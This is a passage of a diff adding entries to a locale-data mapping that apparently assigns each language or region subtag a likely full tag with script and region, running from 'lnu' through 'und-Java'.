+ "lnu": "lnu-Latn-ZZ",
+ "lo": "lo-Laoo-LA",
+ "loj": "loj-Latn-ZZ",
+ "lok": "lok-Latn-ZZ",
+ "lol": "lol-Latn-CD",
+ "lor": "lor-Latn-ZZ",
+ "los": "los-Latn-ZZ",
+ "loz": "loz-Latn-ZM",
+ "lrc": "lrc-Arab-IR",
+ "lt": "lt-Latn-LT",
+ "ltg": "ltg-Latn-LV",
+ "lu": "lu-Latn-CD",
+ "lua": "lua-Latn-CD",
+ "luo": "luo-Latn-KE",
+ "luy": "luy-Latn-KE",
+ "luz": "luz-Arab-IR",
+ "lv": "lv-Latn-LV",
+ "lwl": "lwl-Thai-TH",
+ "lzh": "lzh-Hans-CN",
+ "lzz": "lzz-Latn-TR",
+ "mad": "mad-Latn-ID",
+ "maf": "maf-Latn-CM",
+ "mag": "mag-Deva-IN",
+ "mai": "mai-Deva-IN",
+ "mak": "mak-Latn-ID",
+ "man": "man-Latn-GM",
+ "man-GN": "man-Nkoo-GN",
+ "man-Nkoo": "man-Nkoo-GN",
+ "mas": "mas-Latn-KE",
+ "maw": "maw-Latn-ZZ",
+ "maz": "maz-Latn-MX",
+ "mbh": "mbh-Latn-ZZ",
+ "mbo": "mbo-Latn-ZZ",
+ "mbq": "mbq-Latn-ZZ",
+ "mbu": "mbu-Latn-ZZ",
+ "mbw": "mbw-Latn-ZZ",
+ "mci": "mci-Latn-ZZ",
+ "mcp": "mcp-Latn-ZZ",
+ "mcq": "mcq-Latn-ZZ",
+ "mcr": "mcr-Latn-ZZ",
+ "mcu": "mcu-Latn-ZZ",
+ "mda": "mda-Latn-ZZ",
+ "mde": "mde-Arab-ZZ",
+ "mdf": "mdf-Cyrl-RU",
+ "mdh": "mdh-Latn-PH",
+ "mdj": "mdj-Latn-ZZ",
+ "mdr": "mdr-Latn-ID",
+ "mdx": "mdx-Ethi-ZZ",
+ "med": "med-Latn-ZZ",
+ "mee": "mee-Latn-ZZ",
+ "mek": "mek-Latn-ZZ",
+ "men": "men-Latn-SL",
+ "mer": "mer-Latn-KE",
+ "met": "met-Latn-ZZ",
+ "meu": "meu-Latn-ZZ",
+ "mfa": "mfa-Arab-TH",
+ "mfe": "mfe-Latn-MU",
+ "mfn": "mfn-Latn-ZZ",
+ "mfo": "mfo-Latn-ZZ",
+ "mfq": "mfq-Latn-ZZ",
+ "mg": "mg-Latn-MG",
+ "mgh": "mgh-Latn-MZ",
+ "mgl": "mgl-Latn-ZZ",
+ "mgo": "mgo-Latn-CM",
+ "mgp": "mgp-Deva-NP",
+ "mgy": "mgy-Latn-TZ",
+ "mh": "mh-Latn-MH",
+ "mhi": "mhi-Latn-ZZ",
+ "mhl": "mhl-Latn-ZZ",
+ "mi": "mi-Latn-NZ",
+ "mif": "mif-Latn-ZZ",
+ "min": "min-Latn-ID",
+ "mis": "mis-Hatr-IQ",
+ "mis-Medf": "mis-Medf-NG",
+ "miw": "miw-Latn-ZZ",
+ "mk": "mk-Cyrl-MK",
+ "mki": "mki-Arab-ZZ",
+ "mkl": "mkl-Latn-ZZ",
+ "mkp": "mkp-Latn-ZZ",
+ "mkw": "mkw-Latn-ZZ",
+ "ml": "ml-Mlym-IN",
+ "mle": "mle-Latn-ZZ",
+ "mlp": "mlp-Latn-ZZ",
+ "mls": "mls-Latn-SD",
+ "mmo": "mmo-Latn-ZZ",
+ "mmu": "mmu-Latn-ZZ",
+ "mmx": "mmx-Latn-ZZ",
+ "mn": "mn-Cyrl-MN",
+ "mn-CN": "mn-Mong-CN",
+ "mn-Mong": "mn-Mong-CN",
+ "mna": "mna-Latn-ZZ",
+ "mnf": "mnf-Latn-ZZ",
+ "mni": "mni-Beng-IN",
+ "mnw": "mnw-Mymr-MM",
+ "mo": "ro-Latn-RO",
+ "moa": "moa-Latn-ZZ",
+ "moe": "moe-Latn-CA",
+ "moh": "moh-Latn-CA",
+ "mos": "mos-Latn-BF",
+ "mox": "mox-Latn-ZZ",
+ "mpp": "mpp-Latn-ZZ",
+ "mps": "mps-Latn-ZZ",
+ "mpt": "mpt-Latn-ZZ",
+ "mpx": "mpx-Latn-ZZ",
+ "mql": "mql-Latn-ZZ",
+ "mr": "mr-Deva-IN",
+ "mrd": "mrd-Deva-NP",
+ "mrj": "mrj-Cyrl-RU",
+ "mro": "mro-Mroo-BD",
+ "ms": "ms-Latn-MY",
+ "ms-CC": "ms-Arab-CC",
+ "ms-ID": "ms-Latn-ID",
+ "mt": "mt-Latn-MT",
+ "mtc": "mtc-Latn-ZZ",
+ "mtf": "mtf-Latn-ZZ",
+ "mti": "mti-Latn-ZZ",
+ "mtr": "mtr-Deva-IN",
+ "mua": "mua-Latn-CM",
+ "mur": "mur-Latn-ZZ",
+ "mus": "mus-Latn-US",
+ "mva": "mva-Latn-ZZ",
+ "mvn": "mvn-Latn-ZZ",
+ "mvy": "mvy-Arab-PK",
+ "mwk": "mwk-Latn-ML",
+ "mwr": "mwr-Deva-IN",
+ "mwv": "mwv-Latn-ID",
+ "mww": "mww-Hmnp-US",
+ "mxc": "mxc-Latn-ZW",
+ "mxm": "mxm-Latn-ZZ",
+ "my": "my-Mymr-MM",
+ "myk": "myk-Latn-ZZ",
+ "mym": "mym-Ethi-ZZ",
+ "myv": "myv-Cyrl-RU",
+ "myw": "myw-Latn-ZZ",
+ "myx": "myx-Latn-UG",
+ "myz": "myz-Mand-IR",
+ "mzk": "mzk-Latn-ZZ",
+ "mzm": "mzm-Latn-ZZ",
+ "mzn": "mzn-Arab-IR",
+ "mzp": "mzp-Latn-ZZ",
+ "mzw": "mzw-Latn-ZZ",
+ "mzz": "mzz-Latn-ZZ",
+ "na": "na-Latn-NR",
+ "nac": "nac-Latn-ZZ",
+ "naf": "naf-Latn-ZZ",
+ "nak": "nak-Latn-ZZ",
+ "nan": "nan-Hans-CN",
+ "nap": "nap-Latn-IT",
+ "naq": "naq-Latn-NA",
+ "nas": "nas-Latn-ZZ",
+ "nb": "nb-Latn-NO",
+ "nca": "nca-Latn-ZZ",
+ "nce": "nce-Latn-ZZ",
+ "ncf": "ncf-Latn-ZZ",
+ "nch": "nch-Latn-MX",
+ "nco": "nco-Latn-ZZ",
+ "ncu": "ncu-Latn-ZZ",
+ "nd": "nd-Latn-ZW",
+ "ndc": "ndc-Latn-MZ",
+ "nds": "nds-Latn-DE",
+ "ne": "ne-Deva-NP",
+ "neb": "neb-Latn-ZZ",
+ "new": "new-Deva-NP",
+ "nex": "nex-Latn-ZZ",
+ "nfr": "nfr-Latn-ZZ",
+ "ng": "ng-Latn-NA",
+ "nga": "nga-Latn-ZZ",
+ "ngb": "ngb-Latn-ZZ",
+ "ngl": "ngl-Latn-MZ",
+ "nhb": "nhb-Latn-ZZ",
+ "nhe": "nhe-Latn-MX",
+ "nhw": "nhw-Latn-MX",
+ "nif": "nif-Latn-ZZ",
+ "nii": "nii-Latn-ZZ",
+ "nij": "nij-Latn-ID",
+ "nin": "nin-Latn-ZZ",
+ "niu": "niu-Latn-NU",
+ "niy": "niy-Latn-ZZ",
+ "niz": "niz-Latn-ZZ",
+ "njo": "njo-Latn-IN",
+ "nkg": "nkg-Latn-ZZ",
+ "nko": "nko-Latn-ZZ",
+ "nl": "nl-Latn-NL",
+ "nmg": "nmg-Latn-CM",
+ "nmz": "nmz-Latn-ZZ",
+ "nn": "nn-Latn-NO",
+ "nnf": "nnf-Latn-ZZ",
+ "nnh": "nnh-Latn-CM",
+ "nnk": "nnk-Latn-ZZ",
+ "nnm": "nnm-Latn-ZZ",
+ "nnp": "nnp-Wcho-IN",
+ "no": "nb-Latn-NO",
+ "nod": "nod-Lana-TH",
+ "noe": "noe-Deva-IN",
+ "non": "non-Runr-SE",
+ "nop": "nop-Latn-ZZ",
+ "nou": "nou-Latn-ZZ",
+ "nqo": "nqo-Nkoo-GN",
+ "nr": "nr-Latn-ZA",
+ "nrb": "nrb-Latn-ZZ",
+ "nsk": "nsk-Cans-CA",
+ "nsn": "nsn-Latn-ZZ",
+ "nso": "nso-Latn-ZA",
+ "nss": "nss-Latn-ZZ",
+ "ntm": "ntm-Latn-ZZ",
+ "ntr": "ntr-Latn-ZZ",
+ "nui": "nui-Latn-ZZ",
+ "nup": "nup-Latn-ZZ",
+ "nus": "nus-Latn-SS",
+ "nuv": "nuv-Latn-ZZ",
+ "nux": "nux-Latn-ZZ",
+ "nv": "nv-Latn-US",
+ "nwb": "nwb-Latn-ZZ",
+ "nxq": "nxq-Latn-CN",
+ "nxr": "nxr-Latn-ZZ",
+ "ny": "ny-Latn-MW",
+ "nym": "nym-Latn-TZ",
+ "nyn": "nyn-Latn-UG",
+ "nzi": "nzi-Latn-GH",
+ "oc": "oc-Latn-FR",
+ "ogc": "ogc-Latn-ZZ",
+ "okr": "okr-Latn-ZZ",
+ "okv": "okv-Latn-ZZ",
+ "om": "om-Latn-ET",
+ "ong": "ong-Latn-ZZ",
+ "onn": "onn-Latn-ZZ",
+ "ons": "ons-Latn-ZZ",
+ "opm": "opm-Latn-ZZ",
+ "or": "or-Orya-IN",
+ "oro": "oro-Latn-ZZ",
+ "oru": "oru-Arab-ZZ",
+ "os": "os-Cyrl-GE",
+ "osa": "osa-Osge-US",
+ "ota": "ota-Arab-ZZ",
+ "otk": "otk-Orkh-MN",
+ "ozm": "ozm-Latn-ZZ",
+ "pa": "pa-Guru-IN",
+ "pa-Arab": "pa-Arab-PK",
+ "pa-PK": "pa-Arab-PK",
+ "pag": "pag-Latn-PH",
+ "pal": "pal-Phli-IR",
+ "pal-Phlp": "pal-Phlp-CN",
+ "pam": "pam-Latn-PH",
+ "pap": "pap-Latn-AW",
+ "pau": "pau-Latn-PW",
+ "pbi": "pbi-Latn-ZZ",
+ "pcd": "pcd-Latn-FR",
+ "pcm": "pcm-Latn-NG",
+ "pdc": "pdc-Latn-US",
+ "pdt": "pdt-Latn-CA",
+ "ped": "ped-Latn-ZZ",
+ "peo": "peo-Xpeo-IR",
+ "pex": "pex-Latn-ZZ",
+ "pfl": "pfl-Latn-DE",
+ "phl": "phl-Arab-ZZ",
+ "phn": "phn-Phnx-LB",
+ "pil": "pil-Latn-ZZ",
+ "pip": "pip-Latn-ZZ",
+ "pka": "pka-Brah-IN",
+ "pko": "pko-Latn-KE",
+ "pl": "pl-Latn-PL",
+ "pla": "pla-Latn-ZZ",
+ "pms": "pms-Latn-IT",
+ "png": "png-Latn-ZZ",
+ "pnn": "pnn-Latn-ZZ",
+ "pnt": "pnt-Grek-GR",
+ "pon": "pon-Latn-FM",
+ "ppa": "bfy-Deva-IN",
+ "ppo": "ppo-Latn-ZZ",
+ "pra": "pra-Khar-PK",
+ "prd": "prd-Arab-IR",
+ "prg": "prg-Latn-001",
+ "ps": "ps-Arab-AF",
+ "pss": "pss-Latn-ZZ",
+ "pt": "pt-Latn-BR",
+ "ptp": "ptp-Latn-ZZ",
+ "puu": "puu-Latn-GA",
+ "pwa": "pwa-Latn-ZZ",
+ "qu": "qu-Latn-PE",
+ "quc": "quc-Latn-GT",
+ "qug": "qug-Latn-EC",
+ "rai": "rai-Latn-ZZ",
+ "raj": "raj-Deva-IN",
+ "rao": "rao-Latn-ZZ",
+ "rcf": "rcf-Latn-RE",
+ "rej": "rej-Latn-ID",
+ "rel": "rel-Latn-ZZ",
+ "res": "res-Latn-ZZ",
+ "rgn": "rgn-Latn-IT",
+ "rhg": "rhg-Arab-MM",
+ "ria": "ria-Latn-IN",
+ "rif": "rif-Tfng-MA",
+ "rif-NL": "rif-Latn-NL",
+ "rjs": "rjs-Deva-NP",
+ "rkt": "rkt-Beng-BD",
+ "rm": "rm-Latn-CH",
+ "rmf": "rmf-Latn-FI",
+ "rmo": "rmo-Latn-CH",
+ "rmt": "rmt-Arab-IR",
+ "rmu": "rmu-Latn-SE",
+ "rn": "rn-Latn-BI",
+ "rna": "rna-Latn-ZZ",
+ "rng": "rng-Latn-MZ",
+ "ro": "ro-Latn-RO",
+ "rob": "rob-Latn-ID",
+ "rof": "rof-Latn-TZ",
+ "roo": "roo-Latn-ZZ",
+ "rro": "rro-Latn-ZZ",
+ "rtm": "rtm-Latn-FJ",
+ "ru": "ru-Cyrl-RU",
+ "rue": "rue-Cyrl-UA",
+ "rug": "rug-Latn-SB",
+ "rw": "rw-Latn-RW",
+ "rwk": "rwk-Latn-TZ",
+ "rwo": "rwo-Latn-ZZ",
+ "ryu": "ryu-Kana-JP",
+ "sa": "sa-Deva-IN",
+ "saf": "saf-Latn-GH",
+ "sah": "sah-Cyrl-RU",
+ "saq": "saq-Latn-KE",
+ "sas": "sas-Latn-ID",
+ "sat": "sat-Olck-IN",
+ "sav": "sav-Latn-SN",
+ "saz": "saz-Saur-IN",
+ "sba": "sba-Latn-ZZ",
+ "sbe": "sbe-Latn-ZZ",
+ "sbp": "sbp-Latn-TZ",
+ "sc": "sc-Latn-IT",
+ "sck": "sck-Deva-IN",
+ "scl": "scl-Arab-ZZ",
+ "scn": "scn-Latn-IT",
+ "sco": "sco-Latn-GB",
+ "scs": "scs-Latn-CA",
+ "sd": "sd-Arab-PK",
+ "sd-Deva": "sd-Deva-IN",
+ "sd-Khoj": "sd-Khoj-IN",
+ "sd-Sind": "sd-Sind-IN",
+ "sdc": "sdc-Latn-IT",
+ "sdh": "sdh-Arab-IR",
+ "se": "se-Latn-NO",
+ "sef": "sef-Latn-CI",
+ "seh": "seh-Latn-MZ",
+ "sei": "sei-Latn-MX",
+ "ses": "ses-Latn-ML",
+ "sg": "sg-Latn-CF",
+ "sga": "sga-Ogam-IE",
+ "sgs": "sgs-Latn-LT",
+ "sgw": "sgw-Ethi-ZZ",
+ "sgz": "sgz-Latn-ZZ",
+ "shi": "shi-Tfng-MA",
+ "shk": "shk-Latn-ZZ",
+ "shn": "shn-Mymr-MM",
+ "shu": "shu-Arab-ZZ",
+ "si": "si-Sinh-LK",
+ "sid": "sid-Latn-ET",
+ "sig": "sig-Latn-ZZ",
+ "sil": "sil-Latn-ZZ",
+ "sim": "sim-Latn-ZZ",
+ "sjr": "sjr-Latn-ZZ",
+ "sk": "sk-Latn-SK",
+ "skc": "skc-Latn-ZZ",
+ "skr": "skr-Arab-PK",
+ "sks": "sks-Latn-ZZ",
+ "sl": "sl-Latn-SI",
+ "sld": "sld-Latn-ZZ",
+ "sli": "sli-Latn-PL",
+ "sll": "sll-Latn-ZZ",
+ "sly": "sly-Latn-ID",
+ "sm": "sm-Latn-WS",
+ "sma": "sma-Latn-SE",
+ "smj": "smj-Latn-SE",
+ "smn": "smn-Latn-FI",
+ "smp": "smp-Samr-IL",
+ "smq": "smq-Latn-ZZ",
+ "sms": "sms-Latn-FI",
+ "sn": "sn-Latn-ZW",
+ "snc": "snc-Latn-ZZ",
+ "snk": "snk-Latn-ML",
+ "snp": "snp-Latn-ZZ",
+ "snx": "snx-Latn-ZZ",
+ "sny": "sny-Latn-ZZ",
+ "so": "so-Latn-SO",
+ "sog": "sog-Sogd-UZ",
+ "sok": "sok-Latn-ZZ",
+ "soq": "soq-Latn-ZZ",
+ "sou": "sou-Thai-TH",
+ "soy": "soy-Latn-ZZ",
+ "spd": "spd-Latn-ZZ",
+ "spl": "spl-Latn-ZZ",
+ "sps": "sps-Latn-ZZ",
+ "sq": "sq-Latn-AL",
+ "sr": "sr-Cyrl-RS",
+ "sr-ME": "sr-Latn-ME",
+ "sr-RO": "sr-Latn-RO",
+ "sr-RU": "sr-Latn-RU",
+ "sr-TR": "sr-Latn-TR",
+ "srb": "srb-Sora-IN",
+ "srn": "srn-Latn-SR",
+ "srr": "srr-Latn-SN",
+ "srx": "srx-Deva-IN",
+ "ss": "ss-Latn-ZA",
+ "ssd": "ssd-Latn-ZZ",
+ "ssg": "ssg-Latn-ZZ",
+ "ssy": "ssy-Latn-ER",
+ "st": "st-Latn-ZA",
+ "stk": "stk-Latn-ZZ",
+ "stq": "stq-Latn-DE",
+ "su": "su-Latn-ID",
+ "sua": "sua-Latn-ZZ",
+ "sue": "sue-Latn-ZZ",
+ "suk": "suk-Latn-TZ",
+ "sur": "sur-Latn-ZZ",
+ "sus": "sus-Latn-GN",
+ "sv": "sv-Latn-SE",
+ "sw": "sw-Latn-TZ",
+ "swb": "swb-Arab-YT",
+ "swc": "sw-Latn-CD",
+ "swg": "swg-Latn-DE",
+ "swp": "swp-Latn-ZZ",
+ "swv": "swv-Deva-IN",
+ "sxn": "sxn-Latn-ID",
+ "sxw": "sxw-Latn-ZZ",
+ "syl": "syl-Beng-BD",
+ "syr": "syr-Syrc-IQ",
+ "szl": "szl-Latn-PL",
+ "ta": "ta-Taml-IN",
+ "taj": "taj-Deva-NP",
+ "tal": "tal-Latn-ZZ",
+ "tan": "tan-Latn-ZZ",
+ "taq": "taq-Latn-ZZ",
+ "tbc": "tbc-Latn-ZZ",
+ "tbd": "tbd-Latn-ZZ",
+ "tbf": "tbf-Latn-ZZ",
+ "tbg": "tbg-Latn-ZZ",
+ "tbo": "tbo-Latn-ZZ",
+ "tbw": "tbw-Latn-PH",
+ "tbz": "tbz-Latn-ZZ",
+ "tci": "tci-Latn-ZZ",
+ "tcy": "tcy-Knda-IN",
+ "tdd": "tdd-Tale-CN",
+ "tdg": "tdg-Deva-NP",
+ "tdh": "tdh-Deva-NP",
+ "tdu": "dtp-Latn-MY",
+ "te": "te-Telu-IN",
+ "ted": "ted-Latn-ZZ",
+ "tem": "tem-Latn-SL",
+ "teo": "teo-Latn-UG",
+ "tet": "tet-Latn-TL",
+ "tfi": "tfi-Latn-ZZ",
+ "tg": "tg-Cyrl-TJ",
+ "tg-Arab": "tg-Arab-PK",
+ "tg-PK": "tg-Arab-PK",
+ "tgc": "tgc-Latn-ZZ",
+ "tgo": "tgo-Latn-ZZ",
+ "tgu": "tgu-Latn-ZZ",
+ "th": "th-Thai-TH",
+ "thl": "thl-Deva-NP",
+ "thq": "thq-Deva-NP",
+ "thr": "thr-Deva-NP",
+ "ti": "ti-Ethi-ET",
+ "tif": "tif-Latn-ZZ",
+ "tig": "tig-Ethi-ER",
+ "tik": "tik-Latn-ZZ",
+ "tim": "tim-Latn-ZZ",
+ "tio": "tio-Latn-ZZ",
+ "tiv": "tiv-Latn-NG",
+ "tk": "tk-Latn-TM",
+ "tkl": "tkl-Latn-TK",
+ "tkr": "tkr-Latn-AZ",
+ "tkt": "tkt-Deva-NP",
+ "tl": "fil-Latn-PH",
+ "tlf": "tlf-Latn-ZZ",
+ "tlx": "tlx-Latn-ZZ",
+ "tly": "tly-Latn-AZ",
+ "tmh": "tmh-Latn-NE",
+ "tmy": "tmy-Latn-ZZ",
+ "tn": "tn-Latn-ZA",
+ "tnh": "tnh-Latn-ZZ",
+ "to": "to-Latn-TO",
+ "tof": "tof-Latn-ZZ",
+ "tog": "tog-Latn-MW",
+ "toq": "toq-Latn-ZZ",
+ "tpi": "tpi-Latn-PG",
+ "tpm": "tpm-Latn-ZZ",
+ "tpz": "tpz-Latn-ZZ",
+ "tqo": "tqo-Latn-ZZ",
+ "tr": "tr-Latn-TR",
+ "tru": "tru-Latn-TR",
+ "trv": "trv-Latn-TW",
+ "trw": "trw-Arab-ZZ",
+ "ts": "ts-Latn-ZA",
+ "tsd": "tsd-Grek-GR",
+ "tsf": "taj-Deva-NP",
+ "tsg": "tsg-Latn-PH",
+ "tsj": "tsj-Tibt-BT",
+ "tsw": "tsw-Latn-ZZ",
+ "tt": "tt-Cyrl-RU",
+ "ttd": "ttd-Latn-ZZ",
+ "tte": "tte-Latn-ZZ",
+ "ttj": "ttj-Latn-UG",
+ "ttr": "ttr-Latn-ZZ",
+ "tts": "tts-Thai-TH",
+ "ttt": "ttt-Latn-AZ",
+ "tuh": "tuh-Latn-ZZ",
+ "tul": "tul-Latn-ZZ",
+ "tum": "tum-Latn-MW",
+ "tuq": "tuq-Latn-ZZ",
+ "tvd": "tvd-Latn-ZZ",
+ "tvl": "tvl-Latn-TV",
+ "tvu": "tvu-Latn-ZZ",
+ "twh": "twh-Latn-ZZ",
+ "twq": "twq-Latn-NE",
+ "txg": "txg-Tang-CN",
+ "ty": "ty-Latn-PF",
+ "tya": "tya-Latn-ZZ",
+ "tyv": "tyv-Cyrl-RU",
+ "tzm": "tzm-Latn-MA",
+ "ubu": "ubu-Latn-ZZ",
+ "udm": "udm-Cyrl-RU",
+ "ug": "ug-Arab-CN",
+ "ug-Cyrl": "ug-Cyrl-KZ",
+ "ug-KZ": "ug-Cyrl-KZ",
+ "ug-MN": "ug-Cyrl-MN",
+ "uga": "uga-Ugar-SY",
+ "uk": "uk-Cyrl-UA",
+ "uli": "uli-Latn-FM",
+ "umb": "umb-Latn-AO",
+ "und": "en-Latn-US",
+ "und-002": "en-Latn-NG",
+ "und-003": "en-Latn-US",
+ "und-005": "pt-Latn-BR",
+ "und-009": "en-Latn-AU",
+ "und-011": "en-Latn-NG",
+ "und-013": "es-Latn-MX",
+ "und-014": "sw-Latn-TZ",
+ "und-015": "ar-Arab-EG",
+ "und-017": "sw-Latn-CD",
+ "und-018": "en-Latn-ZA",
+ "und-019": "en-Latn-US",
+ "und-021": "en-Latn-US",
+ "und-029": "es-Latn-CU",
+ "und-030": "zh-Hans-CN",
+ "und-034": "hi-Deva-IN",
+ "und-035": "id-Latn-ID",
+ "und-039": "it-Latn-IT",
+ "und-053": "en-Latn-AU",
+ "und-054": "en-Latn-PG",
+ "und-057": "en-Latn-GU",
+ "und-061": "sm-Latn-WS",
+ "und-142": "zh-Hans-CN",
+ "und-143": "uz-Latn-UZ",
+ "und-145": "ar-Arab-SA",
+ "und-150": "ru-Cyrl-RU",
+ "und-151": "ru-Cyrl-RU",
+ "und-154": "en-Latn-GB",
+ "und-155": "de-Latn-DE",
+ "und-202": "en-Latn-NG",
+ "und-419": "es-Latn-419",
+ "und-AD": "ca-Latn-AD",
+ "und-AE": "ar-Arab-AE",
+ "und-AF": "fa-Arab-AF",
+ "und-AL": "sq-Latn-AL",
+ "und-AM": "hy-Armn-AM",
+ "und-AO": "pt-Latn-AO",
+ "und-AQ": "und-Latn-AQ",
+ "und-AR": "es-Latn-AR",
+ "und-AS": "sm-Latn-AS",
+ "und-AT": "de-Latn-AT",
+ "und-AW": "nl-Latn-AW",
+ "und-AX": "sv-Latn-AX",
+ "und-AZ": "az-Latn-AZ",
+ "und-Adlm": "ff-Adlm-GN",
+ "und-Aghb": "lez-Aghb-RU",
+ "und-Ahom": "aho-Ahom-IN",
+ "und-Arab": "ar-Arab-EG",
+ "und-Arab-CC": "ms-Arab-CC",
+ "und-Arab-CN": "ug-Arab-CN",
+ "und-Arab-GB": "ks-Arab-GB",
+ "und-Arab-ID": "ms-Arab-ID",
+ "und-Arab-IN": "ur-Arab-IN",
+ "und-Arab-KH": "cja-Arab-KH",
+ "und-Arab-MM": "rhg-Arab-MM",
+ "und-Arab-MN": "kk-Arab-MN",
+ "und-Arab-MU": "ur-Arab-MU",
+ "und-Arab-NG": "ha-Arab-NG",
+ "und-Arab-PK": "ur-Arab-PK",
+ "und-Arab-TG": "apd-Arab-TG",
+ "und-Arab-TH": "mfa-Arab-TH",
+ "und-Arab-TJ": "fa-Arab-TJ",
+ "und-Arab-TR": "az-Arab-TR",
+ "und-Arab-YT": "swb-Arab-YT",
+ "und-Armi": "arc-Armi-IR",
+ "und-Armn": "hy-Armn-AM",
+ "und-Avst": "ae-Avst-IR",
+ "und-BA": "bs-Latn-BA",
+ "und-BD": "bn-Beng-BD",
+ "und-BE": "nl-Latn-BE",
+ "und-BF": "fr-Latn-BF",
+ "und-BG": "bg-Cyrl-BG",
+ "und-BH": "ar-Arab-BH",
+ "und-BI": "rn-Latn-BI",
+ "und-BJ": "fr-Latn-BJ",
+ "und-BL": "fr-Latn-BL",
+ "und-BN": "ms-Latn-BN",
+ "und-BO": "es-Latn-BO",
+ "und-BQ": "pap-Latn-BQ",
+ "und-BR": "pt-Latn-BR",
+ "und-BT": "dz-Tibt-BT",
+ "und-BV": "und-Latn-BV",
+ "und-BY": "be-Cyrl-BY",
+ "und-Bali": "ban-Bali-ID",
+ "und-Bamu": "bax-Bamu-CM",
+ "und-Bass": "bsq-Bass-LR",
+ "und-Batk": "bbc-Batk-ID",
+ "und-Beng": "bn-Beng-BD",
+ "und-Bhks": "sa-Bhks-IN",
+ "und-Bopo": "zh-Bopo-TW",
+ "und-Brah": "pka-Brah-IN",
+ "und-Brai": "fr-Brai-FR",
+ "und-Bugi": "bug-Bugi-ID",
+ "und-Buhd": "bku-Buhd-PH",
+ "und-CD": "sw-Latn-CD",
+ "und-CF": "fr-Latn-CF",
+ "und-CG": "fr-Latn-CG",
+ "und-CH": "de-Latn-CH",
+ "und-CI": "fr-Latn-CI",
+ "und-CL": "es-Latn-CL",
+ "und-CM": "fr-Latn-CM",
+ "und-CN": "zh-Hans-CN",
+ "und-CO": "es-Latn-CO",
+ "und-CP": "und-Latn-CP",
+ "und-CR": "es-Latn-CR",
+ "und-CU": "es-Latn-CU",
+ "und-CV": "pt-Latn-CV",
+ "und-CW": "pap-Latn-CW",
+ "und-CY": "el-Grek-CY",
+ "und-CZ": "cs-Latn-CZ",
+ "und-Cakm": "ccp-Cakm-BD",
+ "und-Cans": "cr-Cans-CA",
+ "und-Cari": "xcr-Cari-TR",
+ "und-Cham": "cjm-Cham-VN",
+ "und-Cher": "chr-Cher-US",
+ "und-Chrs": "xco-Chrs-UZ",
+ "und-Copt": "cop-Copt-EG",
+ "und-Cprt": "grc-Cprt-CY",
+ "und-Cyrl": "ru-Cyrl-RU",
+ "und-Cyrl-AL": "mk-Cyrl-AL",
+ "und-Cyrl-BA": "sr-Cyrl-BA",
+ "und-Cyrl-GE": "ab-Cyrl-GE",
+ "und-Cyrl-GR": "mk-Cyrl-GR",
+ "und-Cyrl-MD": "uk-Cyrl-MD",
+ "und-Cyrl-RO": "bg-Cyrl-RO",
+ "und-Cyrl-SK": "uk-Cyrl-SK",
+ "und-Cyrl-TR": "kbd-Cyrl-TR",
+ "und-Cyrl-XK": "sr-Cyrl-XK",
+ "und-DE": "de-Latn-DE",
+ "und-DJ": "aa-Latn-DJ",
+ "und-DK": "da-Latn-DK",
+ "und-DO": "es-Latn-DO",
+ "und-DZ": "ar-Arab-DZ",
+ "und-Deva": "hi-Deva-IN",
+ "und-Deva-BT": "ne-Deva-BT",
+ "und-Deva-FJ": "hif-Deva-FJ",
+ "und-Deva-MU": "bho-Deva-MU",
+ "und-Deva-PK": "btv-Deva-PK",
+ "und-Diak": "dv-Diak-MV",
+ "und-Dogr": "doi-Dogr-IN",
+ "und-Dupl": "fr-Dupl-FR",
+ "und-EA": "es-Latn-EA",
+ "und-EC": "es-Latn-EC",
+ "und-EE": "et-Latn-EE",
+ "und-EG": "ar-Arab-EG",
+ "und-EH": "ar-Arab-EH",
+ "und-ER": "ti-Ethi-ER",
+ "und-ES": "es-Latn-ES",
+ "und-ET": "am-Ethi-ET",
+ "und-EU": "en-Latn-GB",
+ "und-EZ": "de-Latn-EZ",
+ "und-Egyp": "egy-Egyp-EG",
+ "und-Elba": "sq-Elba-AL",
+ "und-Elym": "arc-Elym-IR",
+ "und-Ethi": "am-Ethi-ET",
+ "und-FI": "fi-Latn-FI",
+ "und-FO": "fo-Latn-FO",
+ "und-FR": "fr-Latn-FR",
+ "und-GA": "fr-Latn-GA",
+ "und-GE": "ka-Geor-GE",
+ "und-GF": "fr-Latn-GF",
+ "und-GH": "ak-Latn-GH",
+ "und-GL": "kl-Latn-GL",
+ "und-GN": "fr-Latn-GN",
+ "und-GP": "fr-Latn-GP",
+ "und-GQ": "es-Latn-GQ",
+ "und-GR": "el-Grek-GR",
+ "und-GS": "und-Latn-GS",
+ "und-GT": "es-Latn-GT",
+ "und-GW": "pt-Latn-GW",
+ "und-Geor": "ka-Geor-GE",
+ "und-Glag": "cu-Glag-BG",
+ "und-Gong": "wsg-Gong-IN",
+ "und-Gonm": "esg-Gonm-IN",
+ "und-Goth": "got-Goth-UA",
+ "und-Gran": "sa-Gran-IN",
+ "und-Grek": "el-Grek-GR",
+ "und-Grek-TR": "bgx-Grek-TR",
+ "und-Gujr": "gu-Gujr-IN",
+ "und-Guru": "pa-Guru-IN",
+ "und-HK": "zh-Hant-HK",
+ "und-HM": "und-Latn-HM",
+ "und-HN": "es-Latn-HN",
+ "und-HR": "hr-Latn-HR",
+ "und-HT": "ht-Latn-HT",
+ "und-HU": "hu-Latn-HU",
+ "und-Hanb": "zh-Hanb-TW",
+ "und-Hang": "ko-Hang-KR",
+ "und-Hani": "zh-Hani-CN",
+ "und-Hano": "hnn-Hano-PH",
+ "und-Hans": "zh-Hans-CN",
+ "und-Hant": "zh-Hant-TW",
+ "und-Hatr": "mis-Hatr-IQ",
+ "und-Hebr": "he-Hebr-IL",
+ "und-Hebr-CA": "yi-Hebr-CA",
+ "und-Hebr-GB": "yi-Hebr-GB",
+ "und-Hebr-SE": "yi-Hebr-SE",
+ "und-Hebr-UA": "yi-Hebr-UA",
+ "und-Hebr-US": "yi-Hebr-US",
+ "und-Hira": "ja-Hira-JP",
+ "und-Hluw": "hlu-Hluw-TR",
+ "und-Hmng": "hnj-Hmng-LA",
+ "und-Hmnp": "mww-Hmnp-US",
+ "und-Hung": "hu-Hung-HU",
+ "und-IC": "es-Latn-IC",
+ "und-ID": "id-Latn-ID",
+ "und-IL": "he-Hebr-IL",
+ "und-IN": "hi-Deva-IN",
+ "und-IQ": "ar-Arab-IQ",
+ "und-IR": "fa-Arab-IR",
+ "und-IS": "is-Latn-IS",
+ "und-IT": "it-Latn-IT",
+ "und-Ital": "ett-Ital-IT",
+ "und-JO": "ar-Arab-JO",
+ "und-JP": "ja-Jpan-JP",
+ "und-Jamo": "ko-Jamo-KR",
+ "und-Java": "jv-Java-ID",
